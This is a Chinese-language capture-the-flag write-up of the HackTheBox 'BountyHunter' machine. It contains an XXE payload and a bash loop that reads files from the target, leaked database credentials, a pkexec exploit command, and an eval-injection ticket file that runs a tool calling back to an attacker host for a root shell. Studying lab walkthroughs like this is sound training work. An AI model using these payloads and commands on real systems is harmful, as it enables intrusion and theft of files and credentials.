[Meachines] [Easy] BountyHunter XXE + TRP00F自动化权限提升+Py Bypass文件分析权限提升
字数 1022 2025-08-22 12:23:36

BountyHunter XXE漏洞利用与TRP00F+Py Bypass权限提升完整指南

1. 信息收集与初始扫描

1.1 目标识别

  • 目标IP: 10.10.11.100
  • 开放端口:
    • TCP 22 (SSH - OpenSSH 8.2p1 Ubuntu)
    • TCP 80 (HTTP - Apache 2.4.41)

1.2 扫描技术

ip='10.10.11.100'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

2. Web应用枚举与XXE漏洞利用

2.1 目录扫描

使用feroxbuster发现关键端点:

  • /log_submit.php
  • /tracker_diRbPr00f314.php

2.2 XXE漏洞利用

发现XML外部实体注入漏洞,可读取任意文件:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [
<!ENTITY ent SYSTEM "file:///etc/passwd"> 
]>
<bugreport>
  <title></title>
  <cwe></cwe>
  <cvss></cvss>
  <reward>&ent;</reward>
</bugreport>

2.3 自动化利用脚本

创建交互式脚本读取任意文件:

#!/bin/bash
while true; do
  read -p "[+] File > " file_path
  
  xml_payload=$(cat <<EOF
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [
<!ENTITY ent SYSTEM "php://filter/read=convert.base64-encode/resource=$file_path"> 
]>
<bugreport>
  <title></title>
  <cwe></cwe>
  <cvss></cvss>
  <reward>&ent;</reward>
</bugreport>
EOF
  )
  
  encoded_payload=$(echo -n "$xml_payload" | base64 | tr -d '\n')
  encoded_payload_url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$encoded_payload'))")
  
  response=$(curl -s -X POST http://10.10.11.100/tracker_diRbPr00f314.php \
    -H "Host: 10.10.11.100" \
    -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0" \
    -H "Accept: */*" \
    -H "Accept-Language: en-US,en;q=0.5" \
    -H "Accept-Encoding: gzip, deflate" \
    -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "Origin: http://10.10.11.100" \
    -H "Connection: close" \
    -H "Referer: http://10.10.11.100/log_submit.php" \
    --data "data=$encoded_payload_url" | gzip -d)
  
  if [[ $response =~ ([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)? ]]; then
    base64_match=$(echo "$response" | grep -oP '([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)?')
    decoded_response=$(echo "$base64_match" | base64 -d 2>/dev/null)
    if [ $? -eq 0 ]; then
      echo "SERVER:"
      echo "$decoded_response"
    else
      echo "[!] Decode fail"
    fi
  else
    echo "[!] Not found response"
  fi
done

2.4 获取数据库凭据

读取db.php文件获取凭据:

username: admin
password: m19RoAU0hP41A1sTsq6K

3. 初始访问

使用获取的凭据通过SSH登录:

ssh development@10.10.11.100

获取用户标志:

User.txt: 10fd99e37ad14788c0c05a92da4dc9f3

4. 权限提升: TRP00F利用

4.1 TRP00F工具

使用TRP00F工具进行本地提权:

python trp00f.py --rhost 10.10.16.28 --rport 10000 --lhost 10.10.16.28 --lport 10031 --http 9999

4.2 检测pkexec漏洞

[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) > y

5. Python Sudo权限绕过

5.1 分析ticketValidator.py

发现development用户可以sudo执行:

/opt/skytrain_inc/ticketValidator.py

5.2 漏洞代码分析

关键漏洞点:

  1. 文件加载仅检查.md扩展名
  2. 使用eval()执行未过滤的用户输入

5.3 利用条件

创建满足以下条件的恶意文件:

  1. 第一行: # Skytrain Inc
  2. 第二行: ## Ticket to Somewhere
  3. 第三行: __Ticket Code:__
  4. 第四行: **11+0==11 and __import__('os').system('/tmp/tyrant') == True

示例利用文件内容:

# Skytrain Inc
## Ticket to Somewhere
__Ticket Code:__
**11+0==11 and __import__('os').system('/tmp/tyrant') == True

5.4 使用Tyrant工具

  1. 下载并编译Tyrant工具:
git clone https://github.com/MartinxMax/Tyrant
  1. 执行提权:
./tyrant -uid 0 -rhost 10.10.16.28 -rport 443

6. 获取root权限

成功获取root标志:

Root.txt: a51cc224d2bd3a9c103331bd01d2d51b

关键总结

  1. XXE漏洞利用:

    • 通过XML外部实体注入读取敏感文件
    • 使用base64编码绕过可能的过滤
  2. TRP00F提权:

    • 自动化检测和利用本地提权漏洞
    • 特别关注pkexec等常见SUID程序
  3. Python Sudo绕过:

    • 分析脚本逻辑寻找代码执行点
    • 构造满足条件的恶意输入文件
    • 利用eval执行任意命令
  4. 工具链:

    • feroxbuster - 目录扫描
    • TRP00F - 本地提权框架
    • Tyrant - 高级权限提升工具
BountyHunter XXE漏洞利用与TRP00F+Py Bypass权限提升完整指南 1. 信息收集与初始扫描 1.1 目标识别 目标IP: 10.10.11.100 开放端口: TCP 22 (SSH - OpenSSH 8.2p1 Ubuntu) TCP 80 (HTTP - Apache 2.4.41) 1.2 扫描技术 2. Web应用枚举与XXE漏洞利用 2.1 目录扫描 使用feroxbuster发现关键端点: /log_submit.php /tracker_diRbPr00f314.php 2.2 XXE漏洞利用 发现XML外部实体注入漏洞,可读取任意文件: 2.3 自动化利用脚本 创建交互式脚本读取任意文件: 2.4 获取数据库凭据 读取 db.php 文件获取凭据: 3. 初始访问 使用获取的凭据通过SSH登录: 获取用户标志: 4. 权限提升: TRP00F利用 4.1 TRP00F工具 使用TRP00F工具进行本地提权: 4.2 检测pkexec漏洞 5. Python Sudo权限绕过 5.1 分析ticketValidator.py 发现 development 用户可以sudo执行: 5.2 漏洞代码分析 关键漏洞点: 文件加载仅检查 .md 扩展名 使用 eval() 执行未过滤的用户输入 5.3 利用条件 创建满足以下条件的恶意文件: 第一行: # Skytrain Inc 第二行: ## Ticket to Somewhere 第三行: __Ticket Code:__ 第四行: **11+0==11 and __import__('os').system('/tmp/tyrant') == True 示例利用文件内容: 5.4 使用Tyrant工具 下载并编译Tyrant工具: 执行提权: 6. 获取root权限 成功获取root标志: 关键总结 XXE漏洞利用 : 通过XML外部实体注入读取敏感文件 使用base64编码绕过可能的过滤 TRP00F提权 : 自动化检测和利用本地提权漏洞 特别关注pkexec等常见SUID程序 Python Sudo绕过 : 分析脚本逻辑寻找代码执行点 构造满足条件的恶意输入文件 利用eval执行任意命令 工具链 : feroxbuster - 目录扫描 TRP00F - 本地提权框架 Tyrant - 高级权限提升工具